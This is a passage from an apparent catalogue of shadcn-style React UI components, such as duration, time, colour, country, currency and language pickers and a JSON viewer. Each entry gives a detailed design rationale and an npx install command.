details a hand-rolled version gets wrong. Measurement is throttled to one requestAnimationFrame per scroll burst and quantised before it reaches state, so a flick that moves the bar by less than a fifth of a pixel re-renders nothing. Content that grows after first paint — an image finishing decoding, a lazily loaded section, an accordion opening, a web font swapping in — is picked up through a ResizeObserver and `document.fonts.ready`, where a scroll-and-resize-only implementation keeps reporting the old page height. A tracked element inside an app shell that scrolls its own `<main>` instead of the window is measured against that scroller, not the viewport, which is the layout where a naive bar sits frozen. When the content already fits on screen the bar reads full rather than empty, because everything there is to read is visible — the usual choice of 0 leaves a permanently empty bar on every short page, which looks broken rather than finished. The first paint is server-safe: it renders an empty bar on the server and takes its real measurement in a layout effect before the browser paints, so there is no hydration mismatch and no visible jump on a page restored mid-scroll. Decorative by design — the scrollbar already tells assistive technology where the reader is, and a `role="progressbar"` updating every frame of a scroll is announced as a stream of numbers over whatever is being read, so the element is `aria-hidden` instead of noisy. `useScrollProgress` is exported for indicators this component does not draw (a percentage in the header, a circular ring, chapter markers) so they share one number instead of a second implementation that disagrees at the edges. No dependencies beyond React. Official shadcn/ui has nothing scroll-aware: its progress is a Radix bar you drive with a value you already have, not one derived from the reader's position.

npx shadcn@latest add https://pulld.pages.dev/r/scroll-progress.json
1h 30m1 hour 30 minutes

Duration Input

A text field that takes a length of time written the way people actually write one — 90m, 1h30m, 1h 30m, 2d 4h 15m, 1:30, 1.5h, 500ms, "90 minutes" — reads it into milliseconds, and echoes the reading back in words underneath it ("1 hour 30 minutes") so the interpretation is never left to be guessed at. Reach for it wherever a form asks how long rather than when: a request timeout or deadline, a cache TTL or expiry, session and token lifetimes, a retry or backoff interval, a polling or refresh interval, an SLA target, a job or cron timeout, an auto-logout window, a rate-limit window, a task estimate, a video or audio length, a snooze or reminder delay. Common asks it answers: "duration input", "duration picker", "time duration field", "timeout input", "TTL input", "interval input", "parse 1h30m", "hh:mm:ss duration input", "humanize duration" — the field otherwise assembled from a number box beside a unit <select>, or from parse-duration / pretty-ms / ms / humanize-duration. Official shadcn/ui has no duration component of any kind: input is a bare text box you would still have to parse, input-otp is for codes, and calendar answers which day, not how long. It settles the two things hand-rolled duration parsers get wrong. First, m versus ms: the whole run of letters is read before anything is looked up, so 500ms can never come out as 500 minutes. Second, what 1:30 means: two colon fields are read as mm:ss and three as hh:mm:ss, the way stopwatches and media players write them, and blur rewrites the entry into its canonical short form so 1:30 visibly becomes 1m 30s — a clock time is the other component's job, so 9:30 here is nine and a half minutes of elapsed time and time-input is where you type half past nine. Months and years are refused by name instead of being given an invented length, which also settles the usual M/m argument — parsing is case-insensitive and M is minutes. Beyond parsing: minMs/maxMs mark the field aria-invalid with a polite live message naming the bound in words, a value that is unusable or out of range is withheld from onValueChange so nothing handed to the caller needs validating twice, text that does not parse stays on screen instead of being deleted out from under the reader, and giving the field a name posts the milliseconds through a hidden input so the server is never handed prose. parseDuration and formatDuration are exported as plain functions for the rest of the app to share. One file, themed with shadcn tokens, no dependencies beyond React.

npx shadcn@latest add https://pulld.pages.dev/r/duration-input.json
#3b82f6

Color Picker

A colour picker built from a hex/rgb/hsl text box and native hue, saturation and lightness sliders, with optional alpha and preset swatches. Reach for it wherever a person chooses a colour rather than a designer does: a theme or appearance editor, brand and accent colours in app settings, design-token and CSS-variable editors, label/tag and project colours, calendar-event and category colours, chart series colours, highlight and annotation colours, avatar and workspace backgrounds, status and priority colours, a whiteboard or drawing tool's palette, and admin panels that store a colour on a record. Common asks it answers: "color picker", "colour picker", "hex color input", "color input field", "swatch picker", "hue slider", "rgb picker", "hsl picker", "alpha/opacity picker", "theme color editor", "react-colorful alternative", "react-color alternative", "shadcn color picker" — the control usually pulled in as react-colorful, react-color, @uiw/react-color or an ad-hoc <input type="color"> that gives you no keyboard story and no text entry. Official shadcn/ui ships no colour component of any kind: its slider is a Radix range primitive with no notion of colour, and input is a bare text box you would still have to parse and validate yourself. It settles the two things hand-rolled colour pickers get wrong. First, hue has to survive grey: with the hex string as the state of record, dragging lightness to 0 destroys the hue, so dragging back up returns red instead of the blue you started with — here h/s/l is the state and the hex is derived, so black still remembers it was blue, including under a controlled parent that echoes the value back. Second, a pasted hex has to come back out byte-identical: the conversion keeps full precision and rounds exactly once, so #123456 never drifts a digit just by being displayed (verified over all 16,777,216 sRGB colours). Beyond that: the box reads hex in all four widths (#abc, #abcd, #aabbcc, #aabbccdd, with or without the hash), rgb()/rgba() and hsl()/hsla() in both the comma and the modern space-with-slashed-alpha forms, and percentages wherever CSS allows them; out-of-range channels clamp and hues wrap the way a browser reads them, and blur rewrites the entry into canonical form so the reading is visible rather than silent. Text that cannot be read stays on screen to be fixed instead of being deleted, marks the field aria-invalid with a polite live message, and is withheld from onValueChange and from the hidden form input so nothing downstream has to validate twice. Colour names are refused by name rather than given a guessed value. The sliders are real range inputs, so arrow keys, Home/End and screen-reader value text come for free instead of being bolted onto a pointer-only saturation square; each is labelled and reports its own unit. Alpha is opt-in and round-trips through 8-digit hex; giving the field a name posts the colour through a hidden input; parseColor and formatColor are exported as plain functions for the rest of the app to share. One file, themed with shadcn tokens so it follows dark mode, no dependencies beyond React.

npx shadcn@latest add https://pulld.pages.dev/r/color-picker.json
{3 keysid:42name:"acme"tags:[ … ]

JSON Viewer

Renders a parsed JSON value as a collapsible, type-coloured tree you can read and navigate. Reach for it wherever a page has to show a payload the reader did not write: an API or REST response in an admin or debug panel, a webhook body, the payload attached to a log or audit entry, a GraphQL response, an LLM tool-call's arguments, a JSONB/JSON database column, a feature-flag or config blob, a job's input and output in a queue dashboard, or the raw record behind a row in an internal tool. Common asks it answers: "json viewer", "json tree viewer", "json inspector", "object inspector", "display JSON in React", "render an API response", "pretty print JSON component", "collapsible JSON", "expandable JSON tree", "JSON formatter component", "view webhook payload", "debug panel for API responses", "react-json-view alternative", "shadcn JSON viewer". shadcn/ui ships nothing for JSON — its accordion and collapsible are single open/closed sections that know nothing about types, counts or depth — so this is normally either a raw <pre>{JSON.stringify(data, null, 2)}</pre>, which is unreadable past a screenful and cannot be collapsed, or a third-party viewer pulled in for one panel. Pass the value itself — `data={await res.json()}` — and nothing else is required: objects and arrays open and close, strings, numbers, booleans and null are coloured by type, every container reports how many entries it holds, and `defaultExpandedDepth` sets how much is open on first paint (0 for just the root, 1 by default, Infinity for the whole document). Built for payloads that are bigger than the demo: a container draws `maxItemsPerNode` entries (100 by default) behind a keyboard-reachable “… 39,900 more” row, so a 40,000-element array costs a hundred rows rather than mounting all of them, long strings are elided inside their quotes with the full text kept on hover, and a value that points back at one of its own ancestors is drawn as [Circular] instead of unfolding forever. It is the real ARIA tree pattern rather than a stack of collapsibles: role=tree/treeitem with aria-expanded, aria-level, aria-posinset and aria-setsize, and a roving tabindex that makes the whole viewer one Tab stop instead of one per row. Up/Down walk the rows actually on screen, Right opens a container and then steps into it, Left closes it or jumps to the parent, Home/End hit the ends, Enter/Space toggle a row or ask a “… more” row for its next page. `onSelect` hands back the row's accessor path — `$.items[0].id`, quoted so that `{ "a.b": 1 }` and `{ a: { b: 1 } }` never produce the same string, and pasteable straight into code — together with the live value, which is the hook for a copy button or a “filter to this” action; pair it with copy-button for copy-on-click. Open state is stored as the difference from `defaultExpandedDepth` rather than as a set of open paths, so swapping in the next response leaves the view opened to the same depth instead of collapsing to one unreadable root row. Counts are grouped without toLocaleString, whose locale-dependent output shows up as a hydration mismatch in Next.js. Styled with shadcn tokens (foreground, muted-foreground, accent, ring) plus dark-aware type colours so it follows light and dark themes; lucide-react is the only dependency, with no Radix, no state library and no JSON parser of its own. Distinct from tree-view, which renders a hierarchy you have already built into `{ id, label, children }` nodes: this one takes the raw parsed value and needs no node-building step, and it renders keys, types and counts rather than labels. Distinct from code-block, which shows JSON as static text to copy rather than a structure to open and walk.

npx shadcn@latest add https://pulld.pages.dev/r/json-viewer.json

Image Comparison

A before/after slider: two images stacked in the same box with a divider you drag across them, so the second is revealed over the first instead of sitting next to it. Reach for it wherever a page has to show the same frame twice and the point is the difference: a photo edit or retouch shown against the original, an AI upscale, denoise, colourise, restore or background-removal result next to its input, a generative fill or inpainting demo, a model-A-vs-model-B output pair, a renovation or remodel gallery, before-and-after in a portfolio or case study, a design revision against the version it replaced, satellite or map imagery of the same place at two dates, a scan or microscopy image with and without processing, graphics settings or shader quality in a game, a screenshot in light and dark theme, and image compression quality (original against the optimised file). Common asks it answers: "before after slider", "before and after image component", "image comparison slider", "compare two images react", "split image slider", "image reveal slider", "drag to compare photos", "photo comparison component", "before/after react component", "img-comparison-slider alternative", "react-compare-image alternative", "react-compare-slider alternative", "shadcn before after", "shadcn image comparison". Official shadcn/ui has nothing for this and no combination of its parts gets there: slider is a Radix range primitive that knows nothing about images, aspect-ratio only holds a box at a shape, and carousel shows pictures one after another rather than one over the other. Distinct from diff-view, which compares two pieces of text line by line — this one compares two pictures of the same thing. Pass `before` and `after` and that is the whole setup: `before` lays out in normal flow and gives the pair its height, `after` is overlaid and clipped, and `beforeLabel` / `afterLabel` pin captions to the corners that disappear when their side is closed. It is uncontrolled by default (`defaultPosition`) and controlled by passing `position` with `onPositionChange`, which fires on every drag frame and key press. The interaction is a real range input covering the whole picture rather than a mousedown/mousemove pair, which is where hand-rolled versions come apart. Dragging works from anywhere on the image, a click jumps the divider, pointer capture keeps the drag alive when the cursor leaves the box, and touch and pen work without a second code path — none of which a mouse-event implementation gets, and it cannot be operated from a keyboard at all. Here the arrow keys move the divider by one percent, Page Up and Page Down by ten, Home and End go to the ends, and each press snaps to the step's own grid so a keyboard user lands on whole numbers instead of inheriting the fraction a drag left behind. Three details it settles that are invisible until they are wrong. The thumb is one pixel wide, because a range maps the pointer onto the track minus the thumb, and a default 16px thumb leaves the drawn divider drifting up to eight pixels from the finger near the edges. `touch-action: pan-y` keeps a vertical swipe scrolling the page, so an image that spans a phone screen is not a trap you cannot scroll past. And the input is `dir="ltr"` whatever the page direction, because 0 has to mean the left edge — a divider is a place on a picture, not a position in a line of text. Accessibility is the pair, not just the control: clipping is visual, so both images stay in the accessibility tree and a screen reader reads both alt texts, while the divider is a labelled slider that announces its position as a percentage. The focus ring is drawn on the visible handle through the transparent input, so it is themed rather than a browser outline over a photograph. Styled entirely with shadcn tokens (background, border, foreground, ring), so it follows light and dark mode, and it ships zero dependencies — no Radix, no icon package, one file.

npx shadcn@latest add https://pulld.pages.dev/r/image-comparison.json
New York−04:00
EuropeBerlin+02:00London+01:00

Time Zone Select

A time zone picker: every IANA zone the browser knows, grouped by region and labelled with the UTC offset it is actually on — "New York (UTC-04:00)", "Kolkata (UTC+05:30)", "Chatham (UTC+12:45)". Reach for it wherever an app has to store which zone a time is meant in: the "Your time zone" row in profile, account or notification settings; a workspace or organisation default for a distributed team; scheduling and booking flows where the two parties are in different places; meeting, event and webinar creation; availability and working-hours editors; quiet hours and do-not-disturb windows; shift rosters and on-call rotations; the zone a cron job, scheduled report, digest email or CI job is read in; billing and invoice cycle boundaries; the "display times in" control on a dashboard, log viewer or analytics report; and any form that already collects a date and needs to know which midnight it meant. Common asks it answers: "timezone picker", "timezone select", "time zone dropdown", "timezone selector react", "IANA timezone select", "select timezone component", "list of timezones react", "timezone select with UTC offset", "shadcn timezone picker", "shadcn time zone select", "react-timezone-select alternative", "timezone combobox", "choose timezone for scheduling", "user timezone setting component". Official shadcn/ui has nothing for this and no combination of its parts gets there: select, native-select and combobox are empty controls that know no zones, and calendar and date-picker choose a day and never say which zone that day is counted in. The component here is the data and the labelling, not the control. The zone list comes from `Intl.supportedValuesOf("timeZone")`, so it is the runtime's own tzdata — 418 zones on current browsers — and it ages with the browser instead of with a package you have to remember to bump. UTC is added explicitly, because that call omits it on several runtimes and it is the one zone a scheduling or logging UI is most likely to want. Offsets are read through `Intl` at a reference date rather than computed by subtracting two Dates, which is what keeps the zones that are not on a whole hour honest: India at +05:30, Chatham at +12:45, Marquesas at -09:30. And because an offset is a property of the date and not of the zone — Berlin is +01:00 in January and +02:00 in July — `referenceDate` moves the whole list to the instant being scheduled, so a picker for a meeting in three months does not label its options with today's daylight saving. It renders a native `<select>`, so keyboard support, the mobile wheel and form submission come from the platform rather than from a listbox reimplementation, which for a list this long is the difference between usable and not. That choice decides the labels too: a native select's only search is type-ahead, and labelling the options "(UTC-04:00) New York" the way most pickers do points all 418 entries at "(" and throws the feature away — so the city comes first, the offset trails in parentheses, and each region group is sorted alphabetically, in the same order type-ahead walks. Three failure modes it settles that only show up in production. The option list is built after mount, never during the server render, because the zone list, the tzdata behind the offsets and "now" are all properties of the machine — rendering them on both sides is a hydration mismatch on a page that was otherwise deterministic; before mount the field renders the current value under its raw id, so it is still present and submittable. The select is controlled internally even when the caller leaves it uncontrolled, because replacing the children of an uncontrolled select drops the DOM's selection and the field would silently reset on hydration. And a value the list does not contain is added back as its own option — the runtime offers canonical ids only, so a legacy form saved years ago is absent (current runtimes still answer to "US/Pacific" but do not list it), as is any zone picked before a narrowed list was narrowed instead of letting the select fall to its first entry and read as though the user had picked Abidjan. Works controlled (`value` + `onValueChange`) or uncontrolled (`defaultValue`), always emitting the IANA id and never a display label; `placeholder` adds an empty first option that `required` still rejects; `timeZones` narrows the list to the places a product actually operates in; and `getLocalTimeZone()` is exported for seeding the field with the visitor's own zone from an effect rather than from a render the server also runs. Labelled for assistive technology either way: it falls back to an accessible name only when no `aria-label`, `aria-labelledby` or `id` says one already exists, so a visible `<Label htmlFor>` is never overridden. Styled entirely with shadcn tokens (input, ring, muted-foreground), so it follows light and dark mode, and it ships zero dependencies — no timezone package, no icon package, one file.

npx shadcn@latest add https://pulld.pages.dev/r/timezone-select.json
‹2026›
JanFebMarAprMayJunJulAugSepOctNovDec

Month Picker

A month picker: a year of twelve months as a grid, with arrows on the year, that hands back a plain "YYYY-MM" string — "2026-08" — and never a day or a time zone. Reach for it wherever the thing being chosen is the month itself: a billing or subscription cycle, the period on an invoice or a statement, a monthly report or export, the target month on an expense claim or a timesheet, payroll and accounting periods, budget and forecast months, a cohort in a retention table, the month a goal or OKR is scored in, "as of" month on a snapshot, the archive month on a blog or changelog, card expiry, and the period selector above an analytics dashboard, chart or ledger — usually paired as two of them for a from/to range. Common asks it answers: "month picker", "month year picker", "monthpicker react", "select a month component", "month and year select", "billing period picker", "monthly report period selector", "choose month for dashboard", "shadcn month picker", "shadcn calendar month only", "MUI DatePicker views month equivalent", "antd DatePicker picker=month equivalent", "react-datepicker showMonthYearPicker alternative", "YYYY-MM input". shadcn/ui has no month selection anywhere: its calendar is a react-day-picker wrapper that pulls in react-day-picker and date-fns and returns a Date for a day, and captionLayout="dropdown" adds month and year dropdowns for *moving* through that grid rather than for answering with a month; the Date Picker page is that same calendar inside a popover; select, native-select and combobox are empty controls that know nothing about months. Distinct from pulld date-input, which types a full date down to the day, and from pulld calendar-heatmap, which draws a year of days rather than choosing one of its months. The value is a calendar month rather than an instant, and the component holds that line: there is deliberately no Date accessor, because handing one back means having silently picked a day and a zone — the bug that starts a billing period on the last day of the previous month for everyone west of UTC. `toMonthValue(date)` reads local fields going in (the "toISOString().slice(0, 7)" one-liner is a month early for half the planet after 22:00), `parseMonthValue` gives back { year, month } and rejects anything that is not a bare month, and the strings sort and compare as they read. Month names come from `Intl.DateTimeFormat`, so the grid is already in the reader's language with zero dependencies — no date library, no icon package, one file. Both the locale and the "which month is now" marker are resolved after mount, so a server render and the browser's first paint agree instead of tripping a hydration mismatch, and passing `locale` skips the swap entirely. It is a real `role="grid"` with a roving tabindex — one tab stop for the whole year, then arrow keys inside it. Left and right step a month and cross into the neighbouring year at the edges rather than dead-ending in December, up and down move a row and follow the `columns` prop, Home and End go to January and December (rows here are a layout choice, not a calendar week), and PageUp/PageDown hold the month and walk the years. On an RTL page left and right follow the writing direction instead of running backwards. Every cell is named with the month spelled out and its year — "August 2026", localised — because "Aug" alone stops meaning anything once the arrows have moved, and the current month carries aria-current="date". `min` and `max` take the same "YYYY-MM" strings and stop the year arrows as well as the cells, `isMonthDisabled` handles scattered holes like closed accounting periods without locking the arrows, and unavailable months are marked with aria-disabled rather than disabled so they can still be reached and read instead of being invisibly skipped. Give it a `name` and it posts with a plain form or a server action through a hidden input. Uncontrolled, controlled, or controlled on the year alone; a value set from outside pulls the grid to that year so the selection is never off screen. Styled entirely with shadcn tokens (primary, accent, input, ring, muted-foreground), so it follows light and dark mode.

npx shadcn@latest add https://pulld.pages.dev/r/month-picker.json
09:30AM

Time Input

A time field you type into, one segment at a time, that hands back a plain 24-hour clock string — "09:30", or "09:30:15" with seconds — and never a date and never a time zone. Reach for it wherever a form asks *when on the clock*: meeting, appointment and booking start and end times; opening hours and store hours; shift rosters, on-call rotations and availability editors; class and slot times; reminder, alarm and snooze times; quiet hours and do-not-disturb windows; the time half of a deadline or cut-off; the hour a scheduled report, digest email, backup or CI job runs; a maintenance window; delivery and pickup windows; check-in and check-out times; and the time part of a cron expression assembled in human terms. Common asks it answers: "time input", "time picker", "time field", "hh:mm input", "24 hour time input", "12 hour time picker", "AM PM input", "time picker without a library", "keyboard time entry", "shadcn time picker", "shadcn time input", "input type=time replacement", "styled native time input", "opening hours input", "quiet hours picker", "start and end time picker", "meeting time input", "react-time-picker alternative", "MUI TimePicker equivalent", "antd TimePicker equivalent", "rc-time-picker alternative". shadcn/ui ships nothing that touches the clock: fetching the source of all 63 items in its registry and grepping them turns up no type="time", no hourCycle, no hour12 and no AM/PM anywhere. Its calendar is a react-day-picker wrapper that answers which day, input is a bare text box you would still have to parse, and input-otp is a fixed-length code with no time meaning. It is also the "when" half of a pair: duration-input answers *how long* — 90m, 1h30m, and 1:30 meaning a minute and a half of elapsed time — while this one answers what the clock reads, where 1:30 is half past one. Alongside date-input (the day), month-picker (the month) and timezone-select (which zone a time is meant in), this is the one that types the time. The work is in the parts that are easy to get wrong. "Twelve-hour" is really two different clocks and the component implements all four: en-US writes midnight 12 AM and counts 12, 1, 2 (h12) while ja-JP writes it 午前0時 and counts 0, 1, 2 (h11), and en-GB and de-DE are on 00–23 (h23) with h24 counting to 24 — the cycle comes from Intl rather than from a hardcoded guess, so nobody is shown an hour their locale does not write. The displayed 12 falls to hour 0 before the PM half is added, which is the off-by-twelve that quietly turns a noon deadline into a midnight one. Segment order, the separators and the AM/PM wording all come from the locale too — ko-KR puts the day period before the hour, ja-JP writes 午前/午後 — while the digits themselves are rendered as ASCII, so an ar-EG reader is not shown Arabic-Indic numerals that the number keys cannot reproduce. Auto-advance is decided by range rather than by counting to two: 5 jumps straight to the minute on a 24-hour clock because no hour starts with 5, 1 waits for a possible 10–19, and a lone 0 is already midnight there while on a twelve-hour clock it waits for the digit that makes it 01–09. A pair that cannot exist starts a new number instead of dropping the keystroke. Arrow keys step a segment and wrap, and the hour stays in its half of the day the way the native control does — 11 AM steps to 12 AM, not to noon. minuteStep rounds an off-step minute toward the arrow, so 07 on a 15-minute step gives 15 going up and 00 going down instead of 22 and 52. min and max are flagged with aria-invalid without ever blocking typing, and a max earlier than min is read as a range that wraps past midnight — the HTML rule for time inputs — which is what lets quiet hours of 22:00–06:00 or a night shift be one field. Every segment is a spinbutton with its own label and range, the day period is announced by name rather than as a bare number, and Backspace, Home, End and the left/right arrows move around the field. Pasting accepts "14:30", "2:30 PM" and the locale's own wording. No Date object is ever constructed and no zone is ever applied, so the value is a wall-clock time that survives being stored and read back anywhere. Works controlled or uncontrolled, forwards a ref to the first segment so a shortcut can focus it, and mirrors the value into a hidden input for native form submit. Theme-aware via shadcn tokens; no dependencies — no date library, no time picker package.

npx shadcn@latest add https://pulld.pages.dev/r/time-input.json
Mon9–17Fri9–17Sat22–2SunClosed

Weekly Hours

composes time-input

A week of opening hours in one editor: seven rows, each a switch plus an opening and a closing time, handing back a plain object keyed by weekday. Reach for it wherever a form asks *when in the week* rather than when on the clock — store, shop and restaurant opening hours; a support desk’s staffed window; delivery, pickup and collection slots; a shift roster or rota template; a staff member’s bookable availability; clinic, gym, salon, library and office hours; per-day quiet hours or do-not-disturb; and the days and times a scheduled job, digest or backup is allowed to run. It settles the three rules that hand-rolled versions get wrong. **A closed day is `null`, never `00:00`–`00:00`** — mix those two and “closed on Sunday” becomes indistinguishable from “open around the clock on Sunday”, the one mistake in this domain that reaches customers. **A closing time earlier than the opening time is the night, not a typo** — 22:00–02:00 is the bar that shuts at two, measured across midnight as 4h instead of being flagged invalid. **Equal opening and closing times mean the whole day**, so “open 24 hours” stays expressible without inventing a third state. Each row says in words which of the three it read, as you type. The week is ordered by data, not by hand: Sunday first in en-US and ja-JP, Monday in de-DE and fr-FR, Saturday in ar-EG, taken from `Intl.Locale`’s week info, with the day names from `Intl.DateTimeFormat` — or pin it yourself with `weekStartsOn`. The fourteen time fields are this registry’s `time-input`, so each one follows the reader’s clock (12- or 24-hour, the AM/PM wording, the segment order) and is typed with the keyboard rather than picked from a dropdown. “Apply to all” copies one day across the week; a day switched off and back on returns the hours that were typed instead of a default; `incompleteDays(value)` lists the days that are open but only half filled in, which is what to check before saving. With `name` set, a hidden input carries the week as JSON, so `null` survives a native form post — which no flat field encoding manages. Common asks it answers: “opening hours input”, “business hours picker”, “store hours editor”, “hours of operation form”, “weekly schedule input”, “day of week time picker”, “operating hours component”, “working hours editor”, “availability editor”, “weekly availability picker”, “shift schedule input”, “rota editor”, “open closed per day”, “per-day time ranges”, “overnight hours input”, “quiet hours per day”, “office hours editor”, “restaurant hours input”, “shadcn opening hours”, “shadcn business hours”, “react opening hours picker”, “react business hours component”, “business hours without a library”. shadcn/ui has no surface for this: its `calendar` answers a date on a month grid, `item` and `field` are layout kits for assembling a row yourself, and fetching the source of all 63 items in its registry and grepping them for the clock — `type="time"`, `hourCycle`, `hour12`, `dayPeriod`, `toLocaleTimeString`, `hour`, `minute` — returns nothing at all. Distinct from this registry’s `time-input`, which is the single field this one places fourteen of, and from `cron-expression`, which reads a cron string and explains when it fires rather than letting a person edit a week by hand. One span per day: a day with a midday break is two spans, and that is deliberately out of scope.

npx shadcn@latest add https://pulld.pages.dev/r/weekly-hours.json
jap
JapanJPJamaicaJMJordanJO

Country Select

A country picker: all 249 ISO 3166-1 countries, named in the reader's own language, sorted the way that language sorts, and searchable by local name, English name or two-letter code. Reach for it wherever a form asks where someone is or where something is going: sign-up and onboarding; billing, shipping and delivery addresses; the country on a tax, VAT or GST field; the list of countries you actually ship to; the residence or citizenship question in KYC, AML and identity verification; the country ahead of a phone number's dial code; nationality and place-of-birth fields on visa, travel and immigration forms; the market or region a product, price or licence is available in; bank-account, payout and remittance destinations; customs declarations; and the "country" row in profile, account and organisation settings. Common asks it answers: "country select", "country picker", "country dropdown", "country selector react", "select country component", "list of countries react", "country combobox", "searchable country select", "country select with flags", "ISO country code select", "shadcn country select", "shadcn country picker", "react-select-country-list alternative", "country autocomplete", "country field for address form", "nationality select". Official shadcn/ui has no country, region, locale or flag item of any kind — its select, native-select and combobox are empty controls that know nothing about the world — so the data is on you, and the data is where hand-rolled versions go wrong. This one carries no name table at all: it holds 249 two-letter codes and asks `Intl.DisplayNames` for the names, which means every country arrives already translated into the reader's language (JP is "Japan" in English and "日本" in Japanese) and nothing has to be re-translated or re-checked when a country is renamed upstream. The curation that matters is what is left out: `Intl.DisplayNames` will just as happily name EU (European Union), UN (United Nations), EZ (Eurozone), QO (Outlying Oceania) and 001 (world), none of which is a place a parcel can go, so the code list is explicit rather than generated. Sorting goes through `Intl.Collator`, the difference between a usable list and a broken one: a plain `sort()` orders by code point, which drops every country whose name begins with an accent — Åland Islands, Österreich — below Zimbabwe at the very bottom, exactly where nobody scrolls, and it does it in every language that has accents. The filter reads three names per country, because a person has three ways to name one: the local name, the English name (typed constantly on non-English sites, because it is what the passport and the shipping label say) and the code itself — so a Japanese page finds 日本 when someone types "japan" or "JP", and an exact two-letter code wins outright so "in" reaches India rather than burying it under Indonesia. Accents and punctuation are folded away, so "cote divoire" reaches Côte d'Ivoire despite the typographic apostrophe no keyboard produces. A real combobox, not a styled div: the trigger is a `type="button"` with `role="combobox"` and `aria-expanded`, the panel is a `listbox` driven by `aria-activedescendant`, arrow keys, Home, End, Enter and Escape all work, the highlight scrolls itself into view through 249 rows, opening a field that already says Japan starts on Japan, and an outside press closes it. Works controlled (`value` + `onValueChange`) or uncontrolled (`defaultValue`), always emitting the alpha-2 code and never a display name, so what you store survives the reader switching language; `name` adds a hidden input so it submits with a native form; `countries` narrows the list to the places you ship to, and a stored code outside that narrowed list still shows its own name instead of silently reading as "nothing chosen"; `priority` pins the two or three countries most sign-ups come from above the alphabet; `flags` adds the flag emoji as a hint next to the name — off by default, because Windows ships no flag glyphs and renders every one of them as two bare letters; and `getCountryName()` is exported so an order summary or confirmation email spells the country exactly the way the picker did. Styled entirely with shadcn tokens (input, ring, accent, popover, muted-foreground), so it follows light and dark mode, and it ships zero dependencies — no country-data package, no icon package, one file.

npx shadcn@latest add https://pulld.pages.dev/r/country-select.json
$US DollarUSD
€EuroEUR¥Japanese YenJPY£British PoundGBP

Currency Select

A currency picker: every ISO 4217 currency the runtime knows, named in the reader's own language, sorted the way that language sorts, and searchable by local name, English name, three-letter code or symbol. Reach for it wherever a form has to settle which money an amount is in: the currency on a price, plan or product; the billing currency on a subscription or invoice; the currency of an expense, receipt or reimbursement; the payout, remittance or bank-transfer currency on a payments or Connect onboarding form; the display currency on a multi-currency store or a pricing table; the base and quote currency on an exchange-rate or conversion field; the ledger currency in accounting, bookkeeping and budgeting; and the "default currency" row in workspace, organisation and account settings. Common asks it answers: "currency select", "currency picker", "currency dropdown", "currency selector react", "ISO 4217 select", "currency code select", "searchable currency select", "currency combobox", "list of currencies react", "currency select with symbols", "shadcn currency select", "shadcn currency picker", "react-select currency alternative", "currency autocomplete", "select currency for invoice", "multi-currency dropdown". Official shadcn/ui has no currency, money or price item of any kind — and nothing Intl-aware at all: its select, native-select and combobox are empty shells that know nothing about money, so the data and the arithmetic are on you, and both are where hand-rolled versions go wrong. This one carries no currency table: it reads the codes from Intl.supportedValuesOf("currency") and the names from Intl.DisplayNames, which matters more for currencies than it would for countries, because currencies get replaced — ZWG (Zimbabwean Gold) arrived in 2024, XCG (Caribbean guilder) in 2025, SLE replaced SLL in 2022, and a table baked into a component in 2023 is missing all three today while the browser's own list is not. The curation that matters is small and named: XDR (IMF Special Drawing Rights) and XSU (Sucre) are units of account for settling between central banks, not money anyone is paid in, so they are excluded — while XAF, XOF, XPF and XCD are currencies millions are paid in daily and survive the cut, which is why dropping the whole X prefix (the obvious shortcut) is wrong. Historical codes stay and stay labelled, because the runtime dates them for you — SLL arrives as "Sierra Leonean Leone (1964—2022)" — so a 2021 invoice can still render in the currency it was written in; pass `currencies` when a field should only offer what you accept today. The export that prevents the expensive bug is getCurrencyFractionDigits(): decimal places are not 2 everywhere — they are 0 for JPY, KRW, VND, ISK and some thirty others, and 3 for the Gulf dinars (BHD, JOD, KWD, LYD, OMR, TND), about a quarter of the list — and payment APIs (Stripe, Adyen, PayPal) take the amount in the currency's minor unit, so `Math.round(amount * 10 ** getCurrencyFractionDigits(code))` is the conversion and hardcoding 2 there bills a Japanese customer a hundred times what they agreed to. Pairs directly with pulld's currency-input: feed the chosen code to its `currency` prop and the amount field picks up the same symbol, grouping and precision. Sorting goes through Intl.Collator, the difference between a usable list and a broken one: a plain sort() orders by code point, which drops every accented name — "São Tomé & Príncipe Dobra", "Costa Rican Colón" — below Z at the very bottom where nobody scrolls. The filter reads four faces, because a person has four ways to name money: the local name, the English name (typed constantly on non-English sites, because it is what the pricing page and the processor say), the code (which is what the API takes, so it is what a developer has in their head), and the symbol — and the symbol has to be read before folding, because fold("¥") is the empty string and a filter that quietly shows all 160 rows reads as broken. An exact three-letter code wins outright, and symbols stay qualified rather than narrow, so "$" reaches the US Dollar while AUD, CAD, NZD and HKD keep their A$, CA$, NZ$ and HK$ instead of collapsing into four identical dollar signs. A real combobox, not a styled div: the trigger is a type="button" with role="combobox" and aria-expanded, the panel is a listbox driven by aria-activedescendant, arrow keys, Home, End, Enter and Escape all work, the highlight scrolls itself into view, opening a field that already says Japanese Yen starts on Japanese Yen, and an outside press closes it. Works controlled (`value` + `onValueChange`) or uncontrolled (`defaultValue`), always emitting the ISO 4217 code and never a name or a symbol, so what you store survives the reader switching language; `name` adds a hidden input so it submits with a native form; a stored code outside a narrowed `currencies` still shows its own name instead of silently reading as "nothing chosen", which is what keeps an old ledger row from being lost on the next save; `priority` pins the two or three currencies most of your revenue is in above the alphabet; `symbols` turns the glyph off; and getCurrencyName() and getCurrencySymbol() are exported so an invoice header or a pricing table spells the currency exactly the way the picker did. Styled entirely with shadcn tokens (input, ring, accent, popover, muted-foreground), so it follows light and dark mode, and it ships zero dependencies — no currency-data package, no icon package, one file.

npx shadcn@latest add https://pulld.pages.dev/r/currency-select.json
日本語ja
Deutschdeالعربيةar한국어ko

Language Select

A UI language picker: every language named in its own language — 日本語, Deutsch, العربية, 한국어 — with its name in the page's language beside it, its BCP-47 tag, and a filter that reaches it by all four. Reach for it wherever a form has to settle which language something is read in: the interface or display language in account, profile, workspace and organisation settings; the language switcher on a multilingual site, marketing page or docs site; the language a customer's emails, notifications, invoices and receipts are sent in; the locale on an admin's view of a user, a seat or a tenant; the language of a help centre, knowledge base or support ticket; subtitle and audio-track selection; the source and target language on a translation or localisation screen; and the "preferred language" row on onboarding and sign-up. Common asks it answers: "language select", "language picker", "language switcher react", "locale select", "locale picker", "i18n language dropdown", "language selector shadcn", "shadcn language switcher", "BCP-47 select", "language combobox", "next-intl language switcher", "i18next language selector", "react-i18next dropdown", "choose interface language", "native language names select", "endonym language list", "list of languages react", "RTL language select". Official shadcn/ui has no language, locale or i18n item of any kind, and touches Intl nowhere in its sixty-three components — and the one item whose name comes close, direction, is a Radix DirectionProvider wrapper that takes a dir you have already worked out; it has no idea which languages are right-to-left. 